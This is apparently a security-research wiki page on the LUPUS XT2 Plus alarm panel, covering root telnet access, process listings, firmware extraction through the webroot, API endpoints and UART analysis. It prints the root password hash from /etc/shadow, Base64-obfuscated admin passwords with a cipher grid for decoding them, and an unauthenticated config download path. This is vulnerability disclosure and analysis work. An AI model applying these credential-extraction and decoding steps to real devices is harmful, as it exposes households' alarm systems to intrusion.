&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Running Processes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# top&lt;br /&gt;
Mem: 35556K used, 26668K free, 0K shrd, 0K buff, 18604K cached&lt;br /&gt;
CPU:   2% usr   7% sys   0% nic  89% idle   0% io   0% irq   0% sirq&lt;br /&gt;
Load average: 0.11 0.10 0.09 1/54 12168&lt;br /&gt;
  PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND&lt;br /&gt;
  225   224 root     S    25632  41%   2% ./hpgw&lt;br /&gt;
12158   326 root     R     1796   3%   1% top&lt;br /&gt;
  194     1 root     S     1872   3%   0% telnetd -p 55023&lt;br /&gt;
  222   183 root     S     2836   5%   0% /root/launcher&lt;br /&gt;
  326   194 root     S     1796   3%   0% -sh&lt;br /&gt;
    1     0 root     S     1792   3%   0% {init} /bin/busybox ash /init&lt;br /&gt;
  183   169 root     S     1792   3%   0% {rc.climax} /bin/sh /etc/init.d/rc.climax&lt;br /&gt;
  169   168 root     S     1792   3%   0% {rc.sysinit} /bin/sh /etc/init.d/rc.sysinit&lt;br /&gt;
  168     1 root     S     1792   3%   0% {linuxrc} init&lt;br /&gt;
  224   222 root     S     1792   3%   0% sh -c ./hpgw&lt;br /&gt;
11598     1 root     S     1792   3%   0% udhcpc -b -i eth0&lt;br /&gt;
  113     2 root     SW&amp;lt;      0   0%   0% [ftssp010_spi.0]&lt;br /&gt;
   85     2 root     SW       0   0%   0% [pdflush]&lt;br /&gt;
  179     2 root     SWN      0   0%   0% [jffs2_gcd_mtd1]&lt;br /&gt;
    4     2 root     SW&amp;lt;      0   0%   0% [events/0]&lt;br /&gt;
    3     2 root     SW&amp;lt;      0   0%   0% [ksoftirqd/0]&lt;br /&gt;
    5     2 root     SW&amp;lt;      0   0%   0% [khelper]&lt;br /&gt;
    2     0 root     SW&amp;lt;      0   0%   0% [kthreadd]&lt;br /&gt;
   58     2 root     SW&amp;lt;      0   0%   0% [kblockd/0]&lt;br /&gt;
   64     2 root     SW&amp;lt;      0   0%   0% [khubd]&lt;br /&gt;
   84     2 root     SW       0   0%   0% [pdflush]&lt;br /&gt;
   86     2 root     SW&amp;lt;      0   0%   0% [kswapd0]&lt;br /&gt;
   87     2 root     SW&amp;lt;      0   0%   0% [aio/0]&lt;br /&gt;
   88     2 root     SW&amp;lt;      0   0%   0% [nfsiod]&lt;br /&gt;
  111     2 root     SW&amp;lt;      0   0%   0% [mtdblockd]&lt;br /&gt;
  159     2 root     SW&amp;lt;      0   0%   0% [rpciod/0]&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# ps&lt;br /&gt;
    1 root      1792 S    {init} /bin/busybox ash /init&lt;br /&gt;
    2 root         0 SW&amp;lt;  [kthreadd]&lt;br /&gt;
    3 root         0 SW&amp;lt;  [ksoftirqd/0]&lt;br /&gt;
    4 root         0 SW&amp;lt;  [events/0]&lt;br /&gt;
    5 root         0 SW&amp;lt;  [khelper]&lt;br /&gt;
   58 root         0 SW&amp;lt;  [kblockd/0]&lt;br /&gt;
   64 root         0 SW&amp;lt;  [khubd]&lt;br /&gt;
   84 root         0 SW   [pdflush]&lt;br /&gt;
   85 root         0 SW   [pdflush]&lt;br /&gt;
   86 root         0 SW&amp;lt;  [kswapd0]&lt;br /&gt;
   87 root         0 SW&amp;lt;  [aio/0]&lt;br /&gt;
   88 root         0 SW&amp;lt;  [nfsiod]&lt;br /&gt;
  111 root         0 SW&amp;lt;  [mtdblockd]&lt;br /&gt;
  113 root         0 SW&amp;lt;  [ftssp010_spi.0]&lt;br /&gt;
  159 root         0 SW&amp;lt;  [rpciod/0]&lt;br /&gt;
  168 root      1792 S    {linuxrc} init&lt;br /&gt;
  169 root      1792 S    {rc.sysinit} /bin/sh /etc/init.d/rc.sysinit&lt;br /&gt;
  179 root         0 SWN  [jffs2_gcd_mtd1]&lt;br /&gt;
  183 root      1792 S    {rc.climax} /bin/sh /etc/init.d/rc.climax&lt;br /&gt;
  194 root      1872 S    telnetd -p 55023&lt;br /&gt;
  222 root      2836 S    /root/launcher&lt;br /&gt;
  224 root      1792 S    sh -c ./hpgw&lt;br /&gt;
  225 root     25632 S    ./hpgw&lt;br /&gt;
  326 root      1796 S    -sh&lt;br /&gt;
11598 root      1792 S    udhcpc -b -i eth0&lt;br /&gt;
12227 root      1796 R    ps&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Unshadowed Linux Accounts&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ unshadow /etc/passwd /etc/shadow&lt;br /&gt;
root:$1$2585$ZheIaaREfseBiXYV8PUkh.:0:0:root:/root:/bin/sh&lt;br /&gt;
bin:*:1:1:bin:/bin:/bin/sh&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
adm:*:3:4:adm:/adm:/bin/sh&lt;br /&gt;
lp:*:4:7:lp:/var/spool/lpd:/bin/sh&lt;br /&gt;
sync:*:5:0:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:6:11:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
uucp:*:10:14:uucp:/var/spool/uucp:/bin/sh&lt;br /&gt;
operator:*:11:0:Operator:/var:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/home:/bin/sh&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The web interface offers no further insight into the functionality of the device, as it is secured by a &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; file and NO information will be disclosed if a password is entered incorrectly. The attacker is merely presented with a static web page without JavaScript with the message &amp;quot;access denied&amp;quot;. This method provides a simple yet effective way to secure a Web interface. This type of protection is also used against brute-force attacks and the like.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal; line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS XT2 Plus: Unauthorized Login&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=250px&amp;gt;&lt;br /&gt;
image:LUPUS XT2 Warning.png|Warning&lt;br /&gt;
image:LUPUS XT2 Certificate.png|Certificate&lt;br /&gt;
image:LUPUS XT2 Login.png|Login&lt;br /&gt;
image:LUPUS XT2 Denied.png|Denied&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The OS has no suitable programs to transfer files like &amp;lt;code&amp;gt;nc&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ftp&amp;lt;/code&amp;gt; or similar. But the FS is writable. So while having root access via Telnet, it is possible to copy all files that one don&#039;t want to copy manually from the Telnet Terminal window into the folder &amp;lt;code&amp;gt;/root/html/temp/&amp;lt;/code&amp;gt; and then download them via HTTP at the address &amp;lt;code&amp;gt;https://XT2_IP/temp/$FILENAME&amp;lt;/code&amp;gt;. Using the &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; command, entire folders can be downloaded without any authenticated. This allows the even the extraction of the whole accessible firmware from the root shell (&amp;lt;code&amp;gt;cd / &amp;amp;&amp;amp; tar -zcvf firmware.tar.gz * &amp;amp;&amp;amp; mv firmware.tar.gz /root/html/temp/&amp;lt;/code&amp;gt;) and downloading it via web browser (&amp;lt;code&amp;gt;https://XT2_IP/temp/firmware.tar.gz&amp;lt;/code&amp;gt;). This also has the advantage that the firmeware is already unpacked and there is no need to bother with decompressing the file system or the like. Here the file &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt; is of great interest and will be analyzed in the following. &amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;HPGW API URLs found while analysing the program &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt;, which manages the whole System. These are not part of the webroot directroy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/action/welcomeGet&lt;br /&gt;
/action/logout&lt;br /&gt;
/action/postAuthCmd (auth.)&lt;br /&gt;
/action/devStatusGet (auth.)&lt;br /&gt;
/action/factory (auth.)&lt;br /&gt;
/action/deviceListGet (auth.)&lt;br /&gt;
/action/recordListGet (auth.)&lt;br /&gt;
/action/datetimeGet (auth.)&lt;br /&gt;
/action/groupGet (auth.)&lt;br /&gt;
/action/webCfgGet (auth.)&lt;br /&gt;
/action/tokenGet (auth.)&lt;br /&gt;
/action/changePasswdGet (auth.)&lt;br /&gt;
/action/newPasswdPost (auth.)&lt;br /&gt;
/action/firmwareUpdatefactory (auth.)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The device blocks IP and stops responding &amp;lt;code&amp;gt;browser:ERR_EMPTY_RESPONSE&amp;lt;/code&amp;gt; after 3 login attempts.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Example Web Application Config extracted from &amp;lt;code&amp;gt;/root/config/config.json&amp;lt;/code&amp;gt;. Every config file within &amp;lt;code&amp;gt;/root/config -&amp;gt; /mnt/mtd/config&amp;lt;/code&amp;gt; is protected against modification with a MD5 checksum.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebDegreeF&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebPort&amp;quot;:&amp;quot;80&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebPortSSL&amp;quot;:&amp;quot;443&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebRedirectSSL&amp;quot;:&amp;quot;1&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Admin_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;admin&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Admin_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;NDc2MTAzMj08NQ==&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_Expert_Active&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Expert_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;expert&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Expert_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;YH11YHdxNDc2MQ==&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_SunTime&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_User_Active&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_User_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;user&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_User_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;cHZgdzQ3NjE=&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The &amp;lt;code&amp;gt;user&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;expert&amp;lt;/code&amp;gt; user are not enabled by default and the default password (&amp;lt;code&amp;gt;{admin|expert|user}1234&amp;lt;/code&amp;gt;) must be changed on activation of any user.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: If the configuration of the device has been exported since the previous reboot, it can be downloaded without authentication via &amp;lt;code&amp;gt;https://$XT2_IP/temp/config.tar.gz&amp;lt;/code&amp;gt;. The configuration contains PINs, user passwords, and all other configuration settings. Passwords and PINs are &amp;quot;encrypted&amp;quot; using a simple substitution cipher.&amp;lt;sup&amp;gt;[[#CVE1|Dan Fabian]]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The system uses a simple substitutions cipher to store passwords. The password strings in config.json are Base64 encoded, so just decode the strings and use the grid below to find a clear text password. For example: the admin password &amp;lt;b&amp;gt;NDc2MTAzMj08NQ===&amp;lt;/b&amp;gt; decodes back to &amp;lt;b&amp;gt;4761032=&amp;lt;5&amp;lt;/b&amp;gt;, which results in &amp;lt;b&amp;gt;1234567890&amp;lt;/b&amp;gt; as a clear text password when using the given cipher grid.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;│ A  D │ M  H │ Y  \ │ k  n │ w  r │ 8  = │ &amp;gt;  ; │ &amp;amp;  # │&lt;br /&gt;
│ B  G │ N  K │ Z  _ │ l  i │ x  } │ 9  &amp;lt; │ ?  : │ &#039;  &amp;quot; │&lt;br /&gt;
│ C  F │ O  J │ a  d │ m  h │ y  │ │ :  ? │ @  E │ (  ─ │&lt;br /&gt;
│ D  A │ P  U │ b  g │ n  k │ z  _ │ ;  &amp;gt; │ {  ~ │ )  , │&lt;br /&gt;
│ E  @ │ Q  T │ c  f │ o  j │ 0  5 │ [  ^ │ │  y │ *  / │&lt;br /&gt;
│ F  C │ R  W │ d  a │ p  u │ 1  4 │ \  Y │ }  x │ +  . │&lt;br /&gt;
│ G  B │ S  V │ e  &#039; │ q  t │ 2  7 │ ]  X │ ~  { │ ,  ) │&lt;br /&gt;
│ H  M │ T  Q │ f  c │ r  w │ 3  6 │ ^  [ │ !  $ │ ─  ( │&lt;br /&gt;
│ I  L │ U  P │ g  b │ s  v │ 4  1 │ _  Z │ &amp;quot;  &#039; │ .  + │&lt;br /&gt;
│ J  O │ V  S │ h  m │ t  q │ 5  0 │ `  e │ #  &amp;amp; │ /  * │&lt;br /&gt;
│ K  N │ W  R │ i  l │ u  p │ 6  3 │ &amp;lt;  9 │ $  ! │      │&lt;br /&gt;
│ L  I │ X  ] │ j  o │ v  s │ 7  2 │ =  8 │ %    │      │&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Special thanks to Justin B. for providing the cipher grid!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Application&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [FR] Un loup est un loup, il mourra dans sa peau, si on ne l&#039;écorche vif. (Original) (1876)&lt;br /&gt;
 [EN] A wolf is a wolf, he&#039;ll die in his skin if he&#039;s not skinned alive. (Translated)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery id=&amp;quot;LUPUS_XT2_Plus_PCB&amp;quot; caption=&amp;quot;LUPUS XT2 Plus: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_XT2_Plus_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_XT2_Plus_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All metal covers have been removed!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Unlike the XT1 Plus and XT3, the XT2 (Plus) has no sabotage contact to protect it against manipulation. The vendor recommends the use of a motion sensor for location protection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Outdoor Siren&amp;lt;/b&amp;gt;: V2&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Outdoor Siren V2: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Outdoor_Siren_V2_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Outdoor_Siren_V2_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Remote Control&amp;lt;/b&amp;gt;: V1&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Remtoe Control V1: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Remote_Control_V1_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Remote_Control_V1_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Door Contact&amp;lt;/b&amp;gt;: V1&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Door Contact V1: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Door_Contact_V1_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Door_Contact_V1_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;SoC&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Faraday_GM812225TF-Qc_Soc.png|230px|right|thumb|Faraday GM812225TF-Qc Soc: Investigated PIN reference]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The main processor, referred to as MCU here, is a Faraday &amp;quot;GM812225TF-Qc&amp;quot; Soc and has a Thin Quad Flat Package (TQFP) with 176 leads on the side. Although this chip has a lead density of 22 leads/cm, it is still possible to hook up to them. This could also be used to intercept other information streams in and out of the MCU. Even if this in itself should not have a security risk in the actual use of the device! The MCU was only examined for the availability of an active UART.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUS XT2 Plus provides one designated UART connector to communicate with the MCU. This is the white 3-Pin connector at the bottom left of the from view of the PCB. This connector is labeled with &amp;quot;UART5&amp;quot;. After a short check with a multimeter the middle PIN could be identified as GND. Both other PINs are under 3.3V voltage. Using trial-and-error and a UART-to-TLL adapter, the lower PIN on the photo was identified as TX. However, the upper PIN was not identified as RX. To make sure that no further circuits between the intended UART connector and the MCU can interfere with the communication or mistakes were made by me during the cabling, the data sheet of the MCU was consulted and the available PINs for a possible UART were searched for. the MCU has 3 UARTs. UART0_SIN (87), UART0_SOUT (88), UART1_SIN (82), UART1_SOUT (83) and UART2_SOUT (84). These corresponding PINs in brackets were checked to determine which UART was connected to connector UART5 of the PCB. The results show that this is the UART2 of the MCU, which does NOT provide a matching UART2_SIN PIN and therefore only allows output for debugging. Thanks telnet this is also not needed for this model and firmware version! The other physical UARTs are active, but the application could not be determined without further investigations. Where the dmesg indicates 5 serial I/O ports. Whereby, in more detail, &amp;quot;ttyS2::sysinit:/etc/init.d/rc.sysinit&amp;quot; is used for &amp;quot;Climax NET6 usage&amp;quot;. The developers have taken care of an effective protection against manipulation by choosing a physical UART without RX PIN, which is done by few manufacturers.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Serial interfaces&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# dmesg | grep serial&lt;br /&gt;
&amp;lt;6&amp;gt;Early serial console at I/O port 0xf9850000 (options &#039;115200&#039;, shift 2)&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS0 at I/O 0xf9830000 (irq = 9) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS1 at I/O 0xf9840000 (irq = 10) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS2 at I/O 0xf9850000 (irq = 20) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS3 at I/O 0xf9880000 (irq = 21) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS4 at I/O 0xf9890000 (irq = 22) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;usbcore: registered new interface driver usbserial&lt;br /&gt;
&amp;lt;6&amp;gt;usbserial: USB Serial Driver core&lt;br /&gt;
&amp;lt;6&amp;gt;pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# cat /etc/inittab&lt;br /&gt;
# system initialisation&lt;br /&gt;
#::sysinit:/bin/mount -n -o remount,rw /&lt;br /&gt;
#ttyS0::sysinit:/etc/init.d/rc.sysinit&lt;br /&gt;
#Climax NET6 usage&lt;br /&gt;
ttyS2::sysinit:/etc/init.d/rc.sysinit&lt;br /&gt;
#::sysinit:/etc/init.d/test.sh&lt;br /&gt;
&lt;br /&gt;
# run gettys on the serial ports&lt;br /&gt;
#null::respawn:/sbin/getty -L ttySA0 9600 vt100&lt;br /&gt;
#Line below is used with devfs&lt;br /&gt;
#::respawn:/sbin/getty -L tts/0 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty ttyS0 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty -L ttyS1 38400 vt100&lt;br /&gt;
